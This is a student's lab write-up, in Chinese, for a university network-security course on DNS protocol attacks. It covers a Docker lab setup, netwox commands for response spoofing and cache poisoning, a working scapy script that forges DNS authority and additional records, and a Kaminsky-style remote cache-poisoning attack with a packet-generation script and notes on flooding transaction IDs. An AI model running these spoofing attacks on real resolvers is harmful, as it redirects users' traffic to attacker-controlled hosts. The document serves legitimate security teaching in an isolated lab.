【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验
写在最前:
 这是我个人的实验记录,实现方式有很多种,多台虚拟机更容易做netwox。
 认真整理和记录了一下容易出问题的地方。
 代码仓库开了。
文章目录
涉及代码的仓库地址
计算机网络安全实验二
DNS协议漏洞利用实验
docker使用
建立实验环境
普通用户: seed 密码:dees
 超级用户:root 密码:seedubuntu
Network(bridge):10.10.10.0/24:
sudo docker network create --subnet=10.10.10.0/24 dnsnetwork
创建dns(注意创建docker的时候不要写privileged):
sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash
创建user:
sudo docker run -it --name=user --hostname=user --net dnsnetwork --ip=10.10.10.3 "seedubuntu" /bin/bash
创建dns:
sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash
我的ip:
Attacker:10.10.10.1
dns:10.10.10.2
user:10.10.10.3
网卡:br-29c63b220f5a
docker常用指令
打开或停止HostM:
sudo docker start/stop HostM
把HostM映射到bash中:
sudo docker exec -it HostM /bin/bash
查看当前docker有哪些:
sudo docker ps -a
关闭防火墙:
sudo iptables -F
主机和容器之间拷贝数据:
sudo docker cp 容器名称:路径 主机路径
sudo docker cp 主机路径 容器名称:路径
一些注意事项
- 每次重启之后,
/etc/resolv.conf会被改成原来的内容。 - 修改BIND9的配置后,可以运行
sudo rndc flush测试一下。当遇到rndc: connect failed: 127.0.0.1#953: connection refused报错时,先试着重启BIND9服务,再找找bind9的配置项是否出错,改回默认配置,把错误纠正。如果不是配置问题,就运行sudo named -d 3 -f -g检查错误信息。注意,named指令会导致DNS缓存一直无条目,不要在做后面的实验时用。 - 配置项相关文件的权限最好都设置成可读可写,还有
/etc/bind/rndc.key。 - DNS服务器中出现不想要的缓存的时候,可以用
rndc flushname xxx.com清除。免得等半天。 - DNS远程攻击的时候,如果修改了攻击机上的配置,最好是把DNS服务器的缓存清空,然后两个机子的BIND9服务都重启,否则DNS缓存刷新不及时,妨碍后续攻击。具体咋回事多
dumpdb看看DNS缓存就行。 - 服务器返回icmp报文说端口不可达,原因可能是服务器的bind9未启动,服务器运行
service bind9 start。 - 如果碰到下图这种解析成UDP包的,不要慌!只是Wireshark显示异常,仅此而已,你去服务器里边dumpdb一点问题没有!

 
设置本地 DNS 服务器
配置用户计算机
修改user主机的/etc/resolv.conf文件,将服务器IP添加 为文件中的第一个 nameserver 条目,即此服务器将用作主 DNS 服务器,如下图所示:

完成配置用户计算机之后,使用 dig 命令获取任意网址的 IP 地址,可以看到回应来自于10.10.10.2。 如下图:

即user的配置成功。
设置本地DNS服务器
编辑/etc/bind/named.conf.options:确认①dump-file "/var/cache/bind/dump.db";;②dnssec-validation auto被注释,dnssec-enable是no(关闭DNSSEC);③端口号设置好。如下图所示,打开的时候已经配置好了:

重启DNS服务器:
sudo service bind9 restart
然后再运行提权指令减少一些报错:
sudo chmod 777 /var/cache/bind/dump.db # 提高缓存文件的权限
sudo chmod 777 /etc/bind/rndc.key # 提高rndc的权限
服务器常用指令:
sudo rndc dumpdb -cache # 将缓存转储到特定文件
sudo rndc flush # 清除DNS缓存
在用户机上运行ping指令测试:
ping www.baidu.com
在Wireshark上查看ping命令触发的DNS查询。

前期发送了大量的DNS查询报文,递归查询。(对应蓝色部分)
 当ping通之后,不需要再进行DNS查询,因此直接从缓存中读取IP地址。(对应的是连续的粉红色部分)
在本地 DNS 服务器中建一个区域
创建区域:在dns中编辑
/etc/bind/named.conf.default-zones,添加:zone "example.com" {
type master;
file "/etc/bind/example.com.db";
};
zone "0.168.192.in-addr.arpa" {
type master;
file "/etc/bind/192.168.0.db";
};
把文件从主机中移动到docker中:
sudo docker cp 192.168.0.db dns:/etc/bind/ # 正向查找区域文件
sudo docker cp example.com.db dns:/etc/bind/ # 反向查找区域文件
重新启动BIND服务器:
sudo service bind9 restart

用户机运行
dig www.example.com进行测试授权域配置:
观察IP地址,与设置的一样。
用户机运行
dig www.baidu.com进行测试非授权域配置:
对于非授权域域名,也能够成功获得相应信息。
实验环境配置完成。
修改主机文件(可略)
修改/etc/hosts文件,添加:
1.2.3.4 www.bank32.com
用dig命令测试结果,发现修改主机文件确实不影响对www.bank32.com文件解析,如下图所示:

用ping命令测试修改结果,确实影响了,如下图所示:

用Web浏览器测试结果,这个需要到seed@VM中检验。因此把seed@VM的/etc/hosts也修改一下,测试结果如下。

如上图所示,解析的DesIP被修改成1.2.3.4。
netwox可参考:DNS攻击 - Wsine - 博客园 (cnblogs.com),基本上就是实验内容。
netwox实施DNS的用户响应欺骗攻击
攻击指令:
sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.3" --device "br-29c63b220f5a"
攻击的是user,注意一定要加上–device 网卡,否则filter参数会失效。
运行攻击指令,并在用户机上dig news.youtube.com触发。
在攻击机上可以看到伪造的响应:

在user上查看回应,与伪造的一致:

观察到得到错误的DNS返回,并且显示为指定的IP地址,也返回了查询网址的权威域名及其IP地址。结果符合预期,攻击成功。
令攻击机停止攻击,再次dig news.youtube.com,在user上显示:

此时返回的结果与真实结果一致。
 说明攻击的确实是DNS的用户响应,不影响DNS服务器的正常请求。
netwox实施DNS的缓存中毒攻击
在攻击机上运行:
sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.2" --device "br-29c63b220f5a" --spoofip "raw" --ttl 600
意思是设置DNS响应包域名news.youtube.com对应IP地址为101.102.103.104,权威名称服务器ns.youtube.com对应的IP地址为55.66.77.88。
攻击的是DNS服务器的缓存,ttl生存时间代表缓存留存在DNS服务器上的时间600(秒)。spoofip参数选择raw,否则netwox将对被欺骗的IP地址也进行MAC地址欺骗,因为ARP查询响应的等待时间问题,实验有可能失败。
实际上,就算加了参数,在docker上做实验,但是在三台虚拟主机上做实验就必成功(亲测),还是有很大的可能失败。
以下是难得成功的一次截图。
首先清空DNS缓存:
sudo rndc flush
为了提高攻击的成功率,添加对外访问的时延如下(其实就是DNS服务器对外访问慢一点,保证它优先收到攻击机的回应):
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1s
运行攻击命令,用
dig news.youtube.com触发:
观察到,攻击机成功嗅探到DNS服务器向上发出的DNS请求包,并伪造上层DNS服务器向其发送回复报文。
在user上dig指令的结果:

观察到IP地址、权威域名服务器地址被修改成期望的地址。
同时用Wireshark抓包,得到如下结果:

观察到,攻击机比真实DNS服务器提前一步发送DNS响应,从而导致DNS缓存中毒。
转储并查看DNS服务器缓存,如下:
sudo rndc dumpdb -cache
sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack"

停止攻击后,再次用dig进行域名查询,观察到返回的结果与上述结果一致:

可以通过时间、TTL来判断,确实是攻击前后发的两次不同的查询。
DNS缓存中毒成功。
scapy实施DNS缓存中毒攻击
针对授权域Authority Section和附加域Additional Section的攻击脚本:
该脚本既将授权域改成了attacker32.com,也将附加域修改了。
from scapy.all import *
def spoof_dns(pkt):
  #pkt.show()
  if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.5')
    # The Authority Section
    NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
    NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com')
    # The Additional Section
    Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='attacker32.cn', type='A', ttl=259200, rdata='5.6.7.8')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53 and src host 10.10.10.2', prn=spoof_dns)
运行攻击脚本,在user上使用
dig www.example.net命令激发DNS查询,攻击脚本运行如下图:
user上返回结果如下图:

与攻击脚本一致,授权域和附加域都被修改了。
同时查看Wireshark的抓包结果,观察到发送的伪造报文:

转储并查看DNS服务器缓存,结果如下:

观察到,没有attacker32.cn的缓存记录,这是因为attacker32.cn没有出现在授权域中。
停止攻击后,再次用dig进行域名查询,观察到返回的结果与上述结果一致:

可以通过时间、TTL来判断,确实是攻击前后发的两次不同的查询。
DNS缓存中毒成功。
此时使用
dig mail.example.net命令进行查询,根据Wireshark抓包结果得知,当再次进行相同域的DNS查询时,会首先对在缓存中的NS条目指定的域名服务器进行查询,如下图:
因此,对附加域的攻击也是成功的。
这是我参考过的博客(实验指导书其实已经写得很详细了):
主要参考:DNS 缓存中毒–Kaminsky 攻击复现。
远程 DNS 缓存中毒攻击-Kaminsky
实验环境配置
在dns中编辑
/etc/bind/named.conf.default-zones,注释掉之前配置的example.com区域。并添加假域名去展示实验效果:zone "ns.ssd.net" {
type master;
file "/etc/bind/ssd.net.db";
};
在dns中添加文件
/etc/bind/ssd.net.db,并将以下内容放入其中:$TTL 604800
@ IN SOA localhost. root.localhost. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
@ IN NS ns.ssd.net.
@ IN A 10.10.10.1
ns IN A 10.10.10.1
* IN A 10.10.10.1
其中
ns.ssd.net修改成自己的假域名,10.10.10.1修改成攻击机的IP。
在用户机上运行ping ns.ssd.net测试是否配置成功:

如图,已经配置成功了。
在攻击机中配置DNS服务器,去回答example.com的查询。在攻击机中编辑
/etc/bind/named.conf添加以下内容:zone "example.com" {
type master;
file "/etc/bind/example.com.zone";
};
然后创建文件
/etc/bind/example.com.zone,添加以下内容:$TTL 3D
@ IN SOA ns.example.com. admin.example.com (
2008111001
8H
2H
4W
1D )
@ IN NS ns.ssd.net.
@ IN A 1.1.1.1
www IN A 1.1.1.2
ns IN A 10.10.10.168
* IN A 10.10.10.17
注意:在配置完攻击机和服务机之后,可以运行
sudo rndc flush测试一下。当遇到rndc: connect failed: 127.0.0.1#953: connection refused报错时,说明bind9的配置项出错,此时可以找找改了哪里,把错误纠正。等到攻击成功后,www.example.com对应的是
1.1.1.2。将之前实验添加的网络时延规则删除:
sudo tc qdisc del dev br-29c63b220f5a root
其他配置不变。刷新缓存,重启dns和攻击机上的DNS服务器:
sudo rndc flush
sudo service bind9 restart
在user上多次运行
dig www.example.com,直到得到结果:
如果能得到结果,说明环境配置成功。
观察返回的信息,可以知道www.example.com的远程请求过程:①user向dns发起询问,DNS服务器依次查询;②先查到根域名服务器的地址;③再通过根域名服务器得到.com顶级域名服务器的地址;④再通过.com顶级域名服务器查询得到example.com权威域名服务器的地址;⑤通过询问example.com权威域名服务器,得到www.example.com的IP地址为93.184.216.34。
攻击原理
当dns中已经有example.com的缓存信息时,它不再从根域名服务器查起,而是直接询问example.com。攻击机可以想Apollo发送伪造的响应,比真正的example.com先一步到达dns即可。
但是由于dns缓存有较长时间,攻击机想要等待服务器主动发起对指定域名的DNS请求需要时间。Dan Kaminsky提出了一种攻击方法去避免这个问题,该方法的步骤是:
①攻击者查询example.com随机的不存在的名称;
 ②dns服务器缓存中没有这一域名,因此向example.com发起请求;
 ③攻击机针对请求发送DNS欺骗流,不仅为该域名提供Answer,还将ns.姓名.net作为example.com域的权威域名服务器,从而破坏缓存。
攻击过程
为了提高攻击成功率,再次添加时延(建议少加点):
sudo tc qdisc add dev br-29c63b220f5a root netem delay 100ms
注:如果wireshark看到dns服务响应很慢,别加了。如果外网响应太快死活攻击不成功,多加点。
两个攻击脚本:
伪造请求包和响应包的python程序general_dns.py:
from scapy.all import *
import string
import random
# random name
name = ''.join(random.sample(string.ascii_letters, 5))+'.example.com'
print(name)
Qdsec = DNSQR(qname=name)
# query
ip_q  = IP(dst='10.10.10.2',src='10.10.10.1') # dst: dns; src:attacker
udp_q = UDP(dport=53,sport=33333,chksum=0)
dns_q = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
pkt_q= ip_q/udp_q/dns_q
# reply
ip_r = IP(dst='10.10.10.2', src='199.43.135.53', chksum=0)
udp_r = UDP(dport=33333, sport=53, chksum=0)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
 # The Authority Section
NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.ssd.net')
Addsec = DNSRR(rrname='ns.ssd.net', type='A', ttl=259200, rdata='10.10.10.1')
dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)
pkt_r = ip_r/udp_r/dns_r
with open('query.bin','wb')as f:
  f.write(bytes(pkt_q))
with open('reply.bin', 'wb') as f:
  f.write(bytes(pkt_r))
其中响应包的id要随机生成,发送从0~ffff号的所有报文来进行DNS欺骗。
用bless查看构造的reply.bin的二进制,找到id的偏移地址:

偏移量为0x1c,十进制为28。
攻击程序dns_attack.c的编写逻辑:
- 每轮循环开始,先运行一次伪造请求包和响应包的python程序;
 - 打开
query.bin和reply.bin,写入缓存区。 - 发送DNS请求包;
 - 修改
reply.bin的dns序列号,从1000~65535(观察了一下,发包速度相当快,可以支持多发一些包),转换成大端字节序再写入(也可以不转)。并重新计算dns的chksum。 - 依次发送这些DNS响应包。再回到1重新循环。
 
发包的C程序dns_attack.c:
程序在Gitee里,放这里显示会出错。
编译程序的方式:
gcc -lpcap dns_attack.c -o dns_attack
编译并运行发包攻击程序,过一会儿在dns上转储cache,运行:
sudo rndc dumpdb -cache
sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack|ssd"

可以看到example.com现在对应的是ns.ssd.net,其他的被注释掉了,IP也解析成攻击目标了,相当成功。
再观察一下Wireshark的报文:

能看到伪造的随机请求包,也可以看到服务器收到伪造的请求包,开始主动向权威域名服务器请求,还可以看到伪造的序号顺序的响应。
如果,①伪造的请求包、②服务器向权威域名服务器的请求包,以及③伪造的回应包、④真实权威域名服务器的回应包,有任一无法找到,则说明攻击结果异常,请具体情况具体分析,不要一味攻击。
正常情况,在序列号从10000到65535的欺骗中,有约85%的几率一次攻击成功。
最多攻击5次,即可停下。如果Ctrl+C无法中止程序,请用ps -a查看进程号,再kill 进程号,终止程序。
注:在发起攻击之前,清空DNS缓存、使用用户机dig www.example.com拿到IP(使服务器中具备权威域名服务器的缓存),将会节省DNS服务器向根域名服务器询问权威域名服务器的时间,从而减少攻击的时长。【如果不提前dig就直接攻击,攻击过程中持续看cache,刷出来example了就停下,有85%的几率可以得到一个完全没有真实权威域名服务器cache记录的结果,我愿称之为完美】只要序号符合0xe0fa,并且比真实服务器早,就可以攻击成功。

过滤
10.10.10.1的报文,除了这些报文以及服务器的主动请求之外,其他的报文就是攻击机伪造的请求。可以看到攻击成功的可能性很大。注意:已经攻击完成后,一定要及时中止
dns_attack程序。我在已经集齐所有完美的实验现象之后,忘记中止攻击程序,然后发送了过多的攻击报文,我自己的sock崩溃了。随后虚拟机内存不够,自动关机重启,还好我有快照,否则我也会崩溃了。此时在用户机上运行
dig www.example.com、dig abcd.example.com去测试:
可以看到,域名成功地被解析成预期值
1.1.1.2了!然后随便攻击一个example.com域的域名,也可以成功解析成预期值:

因此攻击成功。
不点个赞再走嘛!?
【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验的更多相关文章
- Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验
		
漏洞描述 1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问 2. 共享文件拥有写入权限 3. 恶意攻击者需猜解Samba服务端共享目录的物理路径 Samba是在Linux和UNIX系 ...
 - Kali学习笔记22:缓冲区溢出漏洞利用实验
		
实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...
 - 20145221 《Java程序设计》实验报告二:Java面向对象程序设计
		
20145221 <Java程序设计>实验报告二:Java面向对象程序设计 实验要求 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O. ...
 - 20145203盖泽双:Java实验报告二
		
Java实验报告二:Java面向对象程序设计 实验要求: 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O.L.I.D原则 了解设计模式 实验内容 ...
 - 中国人民公安大学 Chinese people’ public security university   网络对抗技术 实验报告4
		
中国人民公安大学 Chinese people' public security university 网络对抗技术 实验报告 实验四 恶意代码技术 学生姓名 陈禹 年级 2018 区队 ...
 - Linux基础入门(新版)(实验九-实验十二)
		
实验九 简单文本入门 一.常用的文本处理命令 二.文本处理命令 1.tr 命令 tr 命令可以用来删除一段文本信息中的某些文字.或者将其进行转换. 使用方式: tr [option]...SET1 [ ...
 - 20155339 《信息安全技术》实验二、Windows口令破解实验报告
		
20155339 <信息安全技术>实验二.Windows口令破解实验报告 实验目的 了解Windows口令破解原理 对信息安全有直观感性认识 能够运用工具实现口令破解 系统环境 Windo ...
 - Open vSwitch系列实验(二):Open vSwitch的GRE隧道实验网络
		
一.实验目的 了解GRE协议及原理 理解 Open vSwitch如何配置GRE隧道 二.实验原理 Open vSwitch创建GRE原理很简单,就是把对GRE头和外部IP头的一些操作从原来的代码中抽 ...
 - 20145223《Java程序程序设计》实验报告二
		
实验二 Java面向对象程序设计 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O.L.I.D原则 了解设计模式 实验步骤 (一)单元测试 ...
 - Java实验报告二:Java面向对象程序设计
		
Java实验报告二:Java面向对象程序设计 ...
 
随机推荐
- [THUPC2017] 天天爱射击 题解
			
俗话说的好,正难则反,既然不好想每一个子弹能打碎多少个木板,不如想每个木板被那枚子弹打碎. 然后就是显然的整体二分.由于可能木板不会被击碎,那些木板的分数会累加到最后一个子弹上,因此我们可以加一枚背锅 ...
 - EasyExcel合并行处理并优化
			
业务场景 由于业务需要导出如下图中订单数据和订单项信息,而一个订单对应多个订单项,所以会涉及到自定义合并行 1.简单处理项目使用的EasyExcel,经查找发现Excel种有个AbstractMerg ...
 - QT5笔记:24. 自定义对话框以及模态 调用
			
创建窗口时 窗口对象为QDialog 调用方法为exec(); int res = setSizeDialog->exec();//模态窗口 (不必要)exec可以获取到调用的是对话框的 QDi ...
 - 【BUUCTF】Hack World 1
			
[BUUCTF]Blacklist (SQL盲注) 题目来源 收录于:BUUCTF CISCN2019 华北赛区 Day2 Web1 题目描述 纯粹的SQL注入题 当输入1时,返回字符串:Hello, ...
 - WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
			
开源项目名称:leagueoflegends-OpenSilver 作者:Vicky&James leagueoflegends-opensilver:https://github.com/j ...
 - 探究高空视频全景AR技术的实现原理
			
1. 引言 笔者认为现阶段AR技术的应用是还是比较坑爹的,大都是噱头多但是实用的成分少,拿出来做做DEMO是可以,但是难以在实际的项目中落地产生实际的经济价值.一方面是很难在业务上难以找到合适的应用场 ...
 - 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
			
大家好!今天给大家带来一个好消息,Dapr(Distributed Application Runtime)1.15版本正式发布啦!对于不熟悉Dapr的朋友来说,Dapr是一个开源的.跨平台的运行时, ...
 - C++ open()和read()函数使用详解
			
对于Framework工程师来说,必要C或者C++编程能力是必须的,像对设备节点的操作是最基本的操作,那么我们便会用到open和read函数.open()函数用于打开文件,而read()函数用于从打开 ...
 - Manus爆火,是硬核还是营销?
			
相信这两天小伙伴们应该被Manus刷屏了,铺天盖地的体验解读文章接踵而来,比如「数字生命卡兹克」凌晨爆肝的热文:「一手体验首款通用Agent产品Manus」.从公众号.朋友圈.抖音.央媒,都能看到Ma ...
 - python 二级 标准库
			
1.turtle 函数 包括窗体函数.画笔状态.画笔运动函数 random库 3.time 时间处理.时间格式化.时间计时